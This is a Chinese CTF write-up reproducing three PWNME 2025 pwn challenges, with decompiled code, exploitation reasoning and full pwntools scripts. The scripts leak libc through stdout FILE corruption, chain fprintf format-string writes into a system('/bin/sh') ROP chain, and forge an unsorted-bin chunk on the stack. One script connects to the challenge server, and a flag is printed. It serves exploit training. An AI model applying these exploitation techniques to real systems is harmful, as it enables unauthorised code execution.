[PWNME 2025] PWN 復現

這種比賽得0也不容易,前邊暖聲還是能作的。

GOT

指針前溢出,可以溢出到GOT表,然后把后門寫上就行

Einstein

這個拿到WP也沒復現成,最后自己改了一下。

int __cdecl handle()
{int offset; // [rsp+8h] [rbp-38h] BYREFunsigned int size; // [rsp+Ch] [rbp-34h] BYREFunsigned __int64 *wher; // [rsp+10h] [rbp-30h] BYREFunsigned __int64 wat; // [rsp+18h] [rbp-28h] BYREFunsigned __int64 *wher2; // [rsp+20h] [rbp-20h] BYREFunsigned __int64 wat2; // [rsp+28h] [rbp-18h] BYREFvoid *allocated; // [rsp+30h] [rbp-10h]unsigned __int64 v8; // [rsp+38h] [rbp-8h]v8 = __readfsqword(0x28u);puts("\nHow long is your story ?");__isoc99_scanf("%u", &size);if ( size <= 0x27 ){puts("Well... It seems you don't really want to talk to me that much, cya.");_exit(1337);}allocated = malloc(size);puts("What's the distortion of time and space ?");__isoc99_scanf("%u", &offset);puts("Well your story is quite long, time may be distored, but it is a priceless ressource, i'll give you a few words only"", use them wisely.");read(0, (char *)allocated + offset, 0x22uLL);puts("Everything is relative... Or is it ???");__isoc99_scanf("%llu %llu", &wher, &wat);__isoc99_scanf("%llu %llu", &wher2, &wat2);*wher = wat;*wher2 = wat2;return 0;
}

題目很短,先建堆塊,大小無限制。然后可以以這個為偏移寫34字節,然后可以向兩個地址寫值。

這題dockerfile的是23.10,這種題沒有libc是沒法作的。問了幾個人都不知道這個是什么版本。因為這個版本不常見,libc-2.38,還好問了csdn的c知道,還真知道。

思路很簡單,當建大塊是0x200000以上時會用mmap建塊,這個塊大概率與libc相鄰。再高版本可能就不相鄰了。然后往_IO_2_1_stdout_里寫東西,常見的_IO_write_base尾字節改為0可以得到libc地址。不過這題還不行,這題改_IO_write_ptr的尾兩字節為FFFF這樣泄露的東西更多。可以得到棧地址,這樣就好在棧里寫跳轉了。

WP是在返回地址寫execve,在返回里rdi指向處寫/bin/sh,但試了不行,這個地址是scanf那得到的,這時會寫上scanf過濾到的那串數字,而且不會把/bin/sh寫到上邊。

于是想了另外一個方法,在低版本時一般會寫one_gadget,在高版本很少用了。不過這題可以。這里rbp是正常的,所以顯然可寫,rax=0,只需要一個[rbp-0x78]=0,可以利用第2個給他寫清0

0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
? address rbp-0x50 is writable
? rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
? [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('/home/kali/glibc/libs/2.38-1ubuntu6.3_amd64/libc.so.6') #ubuntu 23.10 libc 2.38
elf = ELF('./einstein')p = process('./einstein')
#gdb.attach(p, "b*0x5555555553a7\nc")#stdout->_IO_write_ptr 的尾兩字節改為ffff 泄露出libc和envp指向argv[0]的指針得到棧地址
p.sendlineafter(b"\nHow long is your story ?\n", str(0x200000).encode())
p.sendlineafter(b"What's the distortion of time and space ?\n", str(0x201000-0x10 + libc.sym['_IO_2_1_stdout_'] + 0x28))
p.sendafter(b"use them wisely.\n", b'\xff\xff')p.recv(0x55)
libc.address = u64(p.recv(8)) - libc.sym['_IO_file_jumps']
p.recv(0x40)
stack = u64(p.recv(8)) #2d:0168│ rbx 0x7fffffffde68 —? 0x7fffffffe1fe ?— './einstein'
print(f"{libc.address = :x} {stack = :x}")'''
0xeb66b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:address rbp-0x50 is writablerax == NULL || {"/bin/sh", rax, NULL} is a valid argv[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
'''
p.recvuntil(b'???\n')
#09:0048│+008 0x7fffffffdd48 —? 0x555555555244 (main+74) ?— mov rax, 0x3c
p.sendline(f"{stack-0x120} {libc.address + 0xeb66b}".encode()) #one_gadget
p.sendline(f"{stack-0x190} {0}".encode())  #rbp-0x78=0p.interactive()

noprint

這個也很短,也很新鮮。有一個不限次數的fprintf漏洞,但數據寫到堆里,并且輸出寫到/dev/null

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{FILE *stream; // [rsp+20h] [rbp-10h]char *buf; // [rsp+28h] [rbp-8h]puts("Hello from the void");init(argv, envp);setbuf(_bss_start, 0LL);setbuf(stdin, 0LL);stream = fopen("/dev/null", "a");for ( buf = (char *)malloc(0x100uLL); ; fprintf(stream, buf) )buf[read(0, buf, 0x100uLL) - 1] = 0;
}

思路就是直接改IO_file的fileid和flag,fileid=1就會寫到stdout了。然后就沒難度了。

但寫fileid需要一個指針。打開的文件放在堆里,而一般加載地址跟堆地址的前兩字節相同。利用棧里的一個地址改成堆地址。偏移9是指向文件結構的指針,直接輸出這個地址再加上偏移就行。

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./noprint')#p = process('./noprint')
#gdb.attach(p, "b*0x5555555553ac\nc")
p = remote('noprint.phreaks2600.fr', 1337)p.recvline()#修改stream.fileid=1,stream.flag=0xfbad2887 轉到stdout 得到輸出
#13->21->stream.fildid
#p.send(b'%c%c%c%c%c%c%c%105c%*c%13$n'.ljust(0x100, b'\0'))
p.send(b'%112c%*9$c%13$n'.ljust(0x100, b'\0')) #同上 輸入#9+112 使#13指向 stream+0x70:fileid
p.send(b'.%21$lln'.ljust(0x100, b'\0'))
#9->0xfbad2887
p.send(f'%{0x2887}c%9$hn'.encode().ljust(0x100, b'\0'))#leak stack,libc
p.send(b'%11$p %12$p %16$p %4096c'.ljust(0x100, b'\0'))
p.recvuntil(b'0x')
stack = int(p.recvuntil(b' '), 16) - 0xd8
libc.address = int(p.recvuntil(b' '), 16) - 0x2a3b8
elf.address = int(p.recvuntil(b' '), 16) - 0x12e4
print(f"{stack = :x} {libc.address = :x} {elf.address = :x}")
pop_rdi = libc.address + 0x00000000000cee4d # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh\0'))
system  = libc.sym['system']
ret = elf.address +0x12e3#fprintf的返回地址改為 ret,pop_rdi,bin_sh,system
#11->31->target fprintf.ret+8
def write_v(target,val):p.send(f"%{target&0xffff}c%11$hhn".encode().ljust(0x100, b'\0'))p.send(f"%{val&0xffff}c%31$hn".encode().ljust(0x100, b'\0'))p.send(f"%{(target+2)&0xff}c%11$hhn".encode().ljust(0x100, b'\0'))p.send(f"%{(val>>16)&0xffff}c%31$hn".encode().ljust(0x100, b'\0'))p.send(f"%{(target+4)&0xff}c%11$hhn".encode().ljust(0x100, b'\0'))p.send(f"%{(val>>32)&0xffff}c%31$n".encode().ljust(0x100, b'\0'))p.send(f"%{stack&0xffff}c%11$hn".encode().ljust(0x100, b'\0'))
write_v(stack+8, pop_rdi)
write_v(stack+16, bin_sh)
write_v(stack+24, system)#gdb.attach(p, "b*0x5555555553ac\nc")p.send(f"%{stack&0xff}c%11$hhn".encode().ljust(0x100, b'\0'))
p.send(f"%{ret&0xffff}c%31$hn".encode().ljust(0x100, b'\0'))p.interactive()
#PWNME{0837e3827df3c6a04684b5942a8cab03}'''
0x00007fffffffde28│+0x0028: 0x00005555555553ac  →  <main+200> nop   13ac->12e3 : ret
gef?  tel 40
0x00007fffffffdda0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffdda8│+0x0008: 0x00007fffffffdf08  →  0x0000000000000000   #6
0x00007fffffffddb0│+0x0010: 0x00007fffffffdef8  →  0x0000000000000000   #7
0x00007fffffffddb8│+0x0018: 0x00000001f7fe54e0
0x00007fffffffddc0│+0x0020: 0x000055555555b6b0  →  0x00000000fbad3c84   #9  file.flag->...2887     #
0x00007fffffffddc8│+0x0028: 0x000055555555b890  →  0x0000000000007325   #10 buf
0x00007fffffffddd0│+0x0030: 0x00007fffffffde70  →  0x00007fffffffded0  →  0x0000000000000000     ← $rbp  #11->31->target 泄露棧地址
0x00007fffffffddd8│+0x0038: 0x00007ffff7c2a3b8  →  <__libc_start_call_main+120> mov edi, eax    #泄露libc
0x00007fffffffdde0│+0x0040: 0x00007fffffffde20  →  0x0000555555557d90  →  0x00005555555551c0    #13->21->stream.fildid:3->1
0x00007fffffffdde8│+0x0048: 0x00007fffffffdef8  →  0x0000000000000000
0x00007fffffffddf0│+0x0050: 0x0000000155554040
0x00007fffffffddf8│+0x0058: 0x00005555555552e4  →  <main+0> endbr64     #泄露加載地址
0x00007fffffffde00│+0x0060: 0x00007fffffffdef8  →  0x0000000000000000
0x00007fffffffde08│+0x0068: 0xb6197b08324563f7
0x00007fffffffde10│+0x0070: 0x0000000000000001
0x00007fffffffde18│+0x0078: 0x0000000000000000
0x00007fffffffde20│+0x0080: 0x0000555555557d90  →  0x00005555555551c0  →  <__do_global_dtors_aux+0> endbr64 
0x00007fffffffde28│+0x0088: 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →  0x00010102464c457f
0x00007fffffffde30│+0x0090: 0xb6197b08356563f7
0x00007fffffffde38│+0x0098: 0xb6196b72c87b63f7
0x00007fffffffde40│+0x00a0: 0x00007fff00000000
0x00007fffffffde48│+0x00a8: 0x0000000000000000
0x00007fffffffde50│+0x00b0: 0x0000000000000000
0x00007fffffffde58│+0x00b8: 0x0000000000000001
0x00007fffffffde60│+0x00c0: 0x00007fffffffdef0  →  0x0000000000000001
0x00007fffffffde68│+0x00c8: 0x237282e3d7233c00
0x00007fffffffde70│+0x00d0: 0x00007fffffffded0  →  0x0000000000000000    #31
0x00007fffffffde78│+0x00d8: 0x00007ffff7c2a47b  →  <__libc_start_main_impl+139> # 0x7ffff7e10f98
0x00007fffffffde80│+0x00e0: 0x00007fffffffdf08  →  0x0000000000000000
0x00007fffffffde88│+0x00e8: 0x0000555555557d90  →  0x00005555555551c0  →  <__do_global_dtors_aux+0> endbr64 
0x00007fffffffde90│+0x00f0: 0x00007fffffffdf08  →  0x0000000000000000
0x00007fffffffde98│+0x00f8: 0x00005555555552e4  →  <main+0> endbr64 
0x00007fffffffdea0│+0x0100: 0x0000000000000000
0x00007fffffffdea8│+0x0108: 0x0000000000000000
0x00007fffffffdeb0│+0x0110: 0x0000555555555120  →  <_start+0> endbr64 
0x00007fffffffdeb8│+0x0118: 0x00007fffffffdef0  →  0x0000000000000001
0x00007fffffffdec0│+0x0120: 0x0000000000000000
0x00007fffffffdec8│+0x0128: 0x0000000000000000
0x00007fffffffded0│+0x0130: 0x0000000000000000                           #43
0x00007fffffffded8│+0x0138: 0x0000555555555145  →  <_start+37> hlt gef?  x/80gx 0x000055555555b6b0
0x55555555b6b0: 0x00000000fbad3c84  <-- flag
0x55555555b720: 0x0000000000000003  <-- fileid
'''

Compresse

這題利用unsort bin建fake到棧里,這個方法頭回見。

一般情況下unsorted bin attack修改bk會把堆地址寫到bk指向位置,但高版本檢查通不過了。

菜單有8項

unsigned __int64 menu()
{unsigned int v1; // [rsp+8h] [rbp-4A8h]int v2; // [rsp+Ch] [rbp-4A4h]char s[128]; // [rsp+10h] [rbp-4A0h] BYREFchar v4[512]; // [rsp+90h] [rbp-420h] BYREFchar v5[512]; // [rsp+290h] [rbp-220h] BYREFvoid *v6; // [rsp+490h] [rbp-20h]char buf[10]; // [rsp+49Eh] [rbp-12h] BYREFunsigned __int64 v8; // [rsp+4A8h] [rbp-8h]v8 = __readfsqword(0x28u);v1 = 0;v6 = 0LL;do{puts("\nMenu:");puts("1. Flate");puts("2. Deflate");puts("3. New note");puts("4. Edit note");puts("5. Delete note");puts("6. View note");puts("7. Select note");puts("8. Exit");printf("Enter your choice: ");fflush(_bss_start);read(0, buf, 0xAuLL);v2 = atoi(buf);switch ( v2 ){case 1:printf("Enter a string to flate: ");fflush(_bss_start);read(0, s, 0x80uLL);s[strcspn(s, "\n")] = 0;flate_string(s, (__int64)v5);printf("Flated: %s\n", v5);break;case 2:printf("Enter a string to deflate: ");fflush(_bss_start);read(0, s, 0x80uLL);s[strcspn(s, "\n")] = 0;deflate_string(s, (__int64)v4);printf("Deflated: %s\n", v4);break;case 3:v6 = new_note();break;case 4:edit_note(v6);break;case 5:v6 = (void *)delete_note(v6, v1);break;case 6:print_note((const char *)v6);break;case 7:printf("Enter a note to select: ");fflush(_bss_start);read(0, s, 2uLL);v1 = atoi(s);if ( v1 <= 3 && v1 < note_count ){v6 = (void *)notes[v1];printf("Current note is : %d\n", v1);}else{puts("Bad index");v1 = 0;}break;case 8:puts("Bye !");break;default:puts("Invalid choice. Please try again.");break;}}while ( v2 != 8 );return v8 - __readfsqword(0x28u);

?1是解壓縮,比如2A3B會被改成AABBB最后加\0,但這里有個漏洞,當輸入的數字之和到大于512時就會直接返回不加\0,可以利用它在解壓數據后加個大數避開\0截斷,帶出棧內殘留的地址。棧里這塊有512字節,里邊有加載地址,libc和棧都有。另外在解壓區后邊是堆指針,當輸入512長度里\0會寫到堆指針尾部,相當于off_by_null這樣堆指針就會變小,從而可能以控制堆頭。

2是壓縮用不到

3-6是建、刪、修改、輸出。只能是固定410大小4次并且會清指針,沒啥問題

7是選擇塊,由于選塊、修改不在同一函數內,可以實現控制塊頭。

先利用解壓漏洞泄露地址

然后修改塊頭,使它包含塊0和大部分塊1(避免與top chunk合并)釋放,再建塊剩余的unsort會落在chunk1的位置,通過修改chunk1在這里將fake_chunk連到unsort里。當建塊時第1個塊不夠大會跳到fake.

需要繞過的檢查:

1,unsort.bk->fake? unsort+0x10->fake

2,unsort塊底部的塊檢查,下個塊的pre_size和size要正常

3,fake.fd->chunk1,fake.bk->chunk1+0x10

4,fake的底部,下個塊的pre_size和size

最后是比較麻煩的,通過修改指針尾字節可以向前寫溢出,但edit的時候會memset(0)而且edit有canary棧保護,所以只有當尾字節是30里覆蓋成00,恰好寫到edit的rbp和ret上。所以需要爆破一下1/16還算不大黑。

from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')
elf = ELF('./compresse')#輸入3a2b時會解碼成 aaabb最后補0 當數據長度超過512時直接退出不補0
def flate(msg):p.sendlineafter(b"Enter your choice: ",b'1')p.sendafter(b"Enter a string to flate: ", msg)def add(msg=b'a'):p.sendlineafter(b"Enter your choice: ",b'3')p.sendafter(b"Enter your note: ", msg)def edit(msg):p.sendlineafter(b"Enter your choice: ",b'4')p.sendafter(b"Edit your note: ", msg)def free():p.sendlineafter(b"Enter your choice: ",b'5')def show():p.sendlineafter(b"Enter your choice: ",b'6')def choice(idx):p.sendlineafter(b"Enter your choice: ",b'7')p.sendlineafter(b"Enter a note to select: ",str(idx).encode())p = process('./compresse')add()
add(b'a'*0x3d0+flat(0,0x41))'''
pwndbg> x/80gx $rsp+0x290
0x7fffffffdb00: 0x00005555555561d8  <-elf
0x7fffffffdb10: 0x00007fffffffdb50      0x00007ffff7cad7e2 <- libc
0x7fffffffdb50: 0x00007fffffffdc20  <- stack
0x7fffffffdd00: 0x000055555555bad0  <- heap
'''
#gdb.attach(p,"b*0x555555555947\nc")
#輸入第2段大于512時會將棧內的地址帶出
flate(b'888b')
p.recvuntil(b"Flated: ")
elf.address = u64(p.recvline()[:-1]+b'\0\0') - 0x21d8
print(f"{elf.address = :x}")flate(b'24a888b')
p.recvuntil(b"a"*24)
libc.address = u64(p.recvline()[:-1]+b'\0\0') - 0xad7e2
print(f"{libc.address = :x}")flate(b'80a888b')
p.recvuntil(b"a"*80)
stack = u64(p.recvline()[:-1]+b'\0\0') - 0x120  #&v5 ,rsp+0x290
print(f"{stack = :x}")#輸入512長并跳出時,帶出堆地址
flate(b'512a888b')
p.recvuntil(b"a"*512)
heap = u64(p.recvline()[:-1]+b'\0\0') 
print(f"{heap = :x}")
chunk0 = heap - 0x430 #chunk0.pre_size
chunk1 = heap - 0x10#將堆地址尾字節覆蓋為0,修改堆頭部,改大,與chunk1部分釋放,再建塊unsort與chunk1重疊
#      | chunk0 | chunk1 |
#      |   unsort800  |40|
choice(0)
flate(b'512a\n') #chunk0 xxx6b0->xxx600
edit(b'\0'*0xa8 + p64(0x801)) #421->801
choice(0)
free()#在棧內偽造一個unsort塊  偽造頭部、底部繞過檢查
#尾部下一塊的pre_size,size
#v5+ 0x1a0 :   pre_size:0x420  size:0x20
for i in range(7):flate(f"{0x1a8}a{7-i}a\n".encode())
flate(f"{0x1a8}a1 \n".encode())for i in range(7):flate(f"{0x1a0}a{7-i}a\n".encode())
flate(b"416a1\x201\x04\n")#fack_chunk_tail
#pwndbg> x/8gx $rsp+0x290+0x1a0
#0x7fffffffdca0: 0x0000000000000420      0x0000000000000020#      | chunk2 | unsort3e0 |40|
add() #gdb.attach(p,"b*0x555555555947\nc")
#頭部
#fake_head
victim = stack - 0x280 #rsp+0x10
flate(flat(0, 0x421, chunk1,chunk1+0x10))
'''
pwndbg> x/6gx $rsp
0x7fffffffd870: 0x0000000000000009      0x0000000100000000
0x7fffffffd880: 0x0000000000000000      0x0000000000000421
0x7fffffffd890: 0x000055555555bac0      0x000055555555bad0
pwndbg> x/4gx $rsp+0x420
0x7fffffffdc90: 0x6161616161616161      0x6161616161616161
0x7fffffffdca0: 0x0000000000000420      0x0000000000000020
pwndbg> p/x 0xca0-0x880
$1 = 0x420
'''#修改unsort塊,指向fake_chunk
#bk->fake,fd_next->fake 
#fake.fd->chunk1,bk->chunk1.fd
choice(1)
edit(flat(libc.address+0x203b20, victim,victim, b'\0'*(0x3e0-0x28), 0x3e0,0x40))'''
pwndbg> x/8gx 0x7ffff7e03b20                                 main_arena+0x50
0x7ffff7e03b20: 0x000055555555bee0      0x0000000000000000
0x7ffff7e03b30: 0x000055555555bac0      0x000055555555bac0   main_arena+0x60 -> chunk1,chunk1
0x7ffff7e03b40: 0x00007ffff7e03b30      0x00007ffff7e03b30
0x7ffff7e03b50: 0x00007ffff7e03b40      0x00007ffff7e03b40pwndbg> x/8gx 0x000055555555bac0                             chunk1 unsorted
0x55555555bac0: 0x0000000000000000      0x00000000000003e1
0x55555555bad0: 0x00007ffff7e03b20      0x00007fffffffd880   fd->main_arena+0x50,(bk->fake_chunk)
0x55555555bae0: 0x00007fffffffd880      0x0000000000000000   (fd_next->fake_chunk)
...
0x55555555bea0: 0x00000000000003e0      0x0000000000000040pwndbg> x/8gx 0x00007fffffffd880                            fake_chunk
0x7fffffffd880: 0x0000000000000a31      0x0000000000000421
0x7fffffffd890: 0x000055555555bac0      0x000055555555bad0  fd->chunk1 bk->chunk1+0x10
...
0x7fffffffdca0: 0x0000000000000420      0x0000000000000020
'''#將塊建到棧內,并覆蓋尾字節,可以向前溢出,當edit時覆蓋rbp和ret
#memset清0,僅當尾字節為0x30時,覆蓋后可寫到rbp,ret
add()
flate(b'512a\n')#gdb.attach(p,"b*0x5555555555b4\nc")
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
ret = pop_rdi+1
#pop_rsi = libc.address + 0x0000000000110a4d # pop rsi ; ret
#pop_rax = libc.address + 0x00000000000dd237 # pop rax ; ret
#pop_rdx = libc.address + 0x0000000000066b9a # pop rdx ; ret 0x19
#syscall = libc.sym['getpid']+9
pay = flat(ret,ret,pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])#when fake_chunk= xx30  write edit.rbp_ret  1/16
# edit canary,rbp,ret 
edit(pay)p.interactive()

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/897307.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/897307.shtml
英文地址,請注明出處:http://en.pswp.cn/news/897307.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

微信小程序將markdown內容轉為pdf并下載

要在微信小程序中將Markdown內容轉換為PDF并下載,您可以使用以下方法: 方法一:使用第三方API服務 選擇第三方API服務: 可以選擇像 Pandoc、Markdown-PDF 或 PDFShift 這樣的服務,將Markdown轉換為PDF。例如,PDFShift 提供了一個API接口,可以將Markdown內容轉換為PDF格式…

MongoDB(一) - MongoDB安裝教程(Windows + Linux)

文章目錄 前言一、Windows安裝單機MongoDB1. 下載并解壓MongoDB安裝包1.1 下載1.2 解壓1.3 相關文件介紹 2. 配置2.1 配置環境變量2.1.1 打開系統屬性設置2.1.2 編輯 PATH 環境變量2.1.3 驗證環境變量是否配置成功 2.2 創建相關目錄和文件2.3 修改MongoDB配置文件 mongodb.conf…

mybatis日期格式與字符串不匹配bug

異常特征&#xff1a;java.lang.IllegalArgumentException: invalid comparison: java.time.LocalDateTime and java.lang.String ### Error updating database. Cause: java.lang.IllegalArgumentException: invalid comparison: java.time.LocalDateTime and java.lang.Str…

【算法學習之路】5.貪心算法

貪心算法 前言一.什么是貪心算法二.例題1.合并果子2.跳跳&#xff01;3. 老鼠和奶酪 前言 我會將一些常用的算法以及對應的題單給寫完&#xff0c;形成一套完整的算法體系&#xff0c;以及大量的各個難度的題目&#xff0c;目前算法也寫了幾篇&#xff0c;題單正在更新&#xf…

快速使用MASR V3版不能語音識別框架

前言 本文章主要介紹如何快速使用MASR語音識別框架訓練和推理&#xff0c;本文將致力于最簡單的方式去介紹使用&#xff0c;如果使用更進階功能&#xff0c;還需要從源碼去看文檔。僅需三行代碼即可實現訓練和推理。 源碼地址&#xff1a;https://github.com/yeyupiaoling/MA…

C語言_數據結構總結5:順序棧

純C語言代碼&#xff0c;不涉及C 想了解鏈式棧的實現&#xff0c;歡迎查看這篇文章&#xff1a;C語言_數據結構總結6&#xff1a;鏈式棧-CSDN博客 這里分享插入一下個人覺得很有用的習慣&#xff1a; 1. 就是遇到代碼哪里不理解的&#xff0c;你就問豆包&#xff0c;C知道&a…

2021 年 6 月青少年軟編等考 C 語言六級真題解析

目錄 T1. 波蘭表達式T2. 多項式相加思路分析T3. 撲克牌排序思路分析T4. 表達式求值思路分析T1. 波蘭表達式 題目鏈接:SOJ D1087 此題為 2023 年 12 月三級第三題原題,見 2023 年 12 月青少年軟編等考 C 語言三級真題解析中的 T3。 T2. 多項式相加 題目鏈接:SOJ D1088 我…

AI數字人| Fay開源項目、UE5數字人、本地大模型

數字人實踐教程 本教程主要是講如何在本地UE部署Fay數字人的開源框架。 最終效果可以與人進行自然語言的對話&#xff0c;花了大概10個h的時間到&#xff0c;踩了很多坑&#xff0c;同樣想實現的朋友可以作為參考 參考文檔&#xff1a;Fay 數字人開源框架 - 飛書云文檔 官方的教…

網絡版漢譯英服務(muduo)

文章目錄 網絡版漢譯英服務&#xff08;muduo&#xff09;muduo庫muduo 庫是什么muduo 庫常見接口介紹muduo::net::EventLoopmuduo::net::TcpConnectionmuduo::net::TcpServermuduo::net::TcpClientmuduo::net::Buffer 漢譯英服務服務端客戶端 網絡版漢譯英服務&#xff08;mud…

在ArcMap中通過Python編寫自定義工具(Python Toolbox)實現點轉線工具

文章目錄 一、需求二、實現過程2.1、創建Python工具箱&#xff08;.pyt&#xff09;2.2、使用catalog測試代碼2.3、在ArcMap中使用工具 三、測試 一、需求 通過插件的形式將點轉線功能嵌入ArcMap界面&#xff0c;如何從零開始創建一個插件&#xff0c;包括按鈕的添加、工具的實…

C++之序列容器(vector,list,dueqe)

1.大體對比 在軟件開發的漫長歷程中&#xff0c;數據結構與算法始終占據著核心地位&#xff0c;猶如大廈的基石&#xff0c;穩固支撐著整個程序的運行。在眾多編程語言中&#xff0c;數據的存儲與管理方式各有千秋&#xff0c;而 C 憑借其豐富且強大的工具集脫穎而出&#xff…

【學習筆記】【DeepSeek AI 醫生】2-2 AI家庭醫生課程內容介紹

【DeepSeek AI 醫生】2-4 項目詳細分析及DeepSeek適用場景 一、Ollama部署二、可視化UI三、構建項目環境四、搭建項目架構五、Spring Al六、SSE服務端推送事件七、數據持久化八、線上部署 一、Ollama部署 Mac部署windows 部署ollama腳本、常用命令DeepSeek 提示詞、角色、適用…

STM32 I2C驅動開發全解析:從理論到實戰 | 零基礎入門STM32第五十步

主題內容教學目的/擴展視頻I2C總線電路原理&#xff0c;跳線設置&#xff0c;I2C協議分析。驅動程序與調用。熟悉I2C總線協議&#xff0c;熟練調用。 師從洋桃電子&#xff0c;杜洋老師 &#x1f4d1;文章目錄 引言一、I2C驅動分層架構二、I2C總線驅動代碼精析2.1 初始化配置&a…

Vercel Serverless

1. 引言 現代應用程序是為適應當前技術環境需求而設計的軟件&#xff0c;采用現代開發工具和實踐&#xff0c;針對云部署和可擴展性優化。它們由多個模塊化小組件組成&#xff0c;便于集成和縮放&#xff0c;具有高度的敏捷性和適應性&#xff0c;能快速響應用戶或業務需求變化…

國產操作系統之系統分區及分區的作用

國產操作系統之系統分區及分區的作用和掛載 Linux的系統分區跟Windows有著本質區別,在windows中大家知道c盤一般為系統盤,除c盤系統盤外,我們再分為D、E等文件存儲盤,而在Linux中雖然是以文件目錄著稱的系統,但思路也一樣的,比如針對系統分區中 /home、/var 和 /opt 等文…

字節碼是由什么組成的?

Java字節碼是Java程序編譯后的中間產物&#xff0c;它是一種二進制格式的代碼&#xff0c;可以在Java虛擬機&#xff08;JVM&#xff09;上運行。理解字節碼的組成有助于我們更好地理解Java程序的運行機制。 1. Java字節碼是什么&#xff1f; 定義 Java字節碼是Java源代碼經過…

微前端框架 Qiankun 的應用及問題分析

一、Qiankun 的核心應用場景與優勢 多技術棧共存與靈活集成 Qiankun 支持主應用與子應用使用不同技術棧&#xff08;如 Vue、React、Angular 等&#xff09;&#xff0c;通過 HTML Entry 方式接入子應用&#xff0c;無需深度改造子應用即可實現集成&#xff0c;降低了技術遷移成…

function uuid_generate_v4()不存在(二)

說明&#xff1a;之前代碼里用到了postgresql內嵌函數uid_generate_v4()生成記錄的主鍵&#xff0c;提示該函數不存在&#xff0c;寫了下面這篇博客記錄了一下&#xff0c;今天又發現了新的問題&#xff0c;于是補充了這篇博客。 function uuid_generate_v4()不存在&#xff0…

6. 機器人實現遠程遙控(具身智能機器人套件)

1. 啟動控制腳本 遠程作到 Raspberry Pi 中&#xff0c;并運行以下腳本&#xff1a; conda activate lerobotpython lerobot/scripts/control_robot.py \--robot.typelekiwi \--control.typeremote_robot登錄筆記本電腦上&#xff0c;同時運行以下腳本&#xff1a; conda ac…

【簡單的C++圍棋游戲開發示例】

C圍棋游戲開發簡單示例&#xff08;控制臺版&#xff09; ?核心代碼實現? #include <iostream> #include <vector> #include <queue> using namespace std;const int SIZE 9; // 簡化棋盤為9x9?:ml-citation{ref"1" data"citationList&…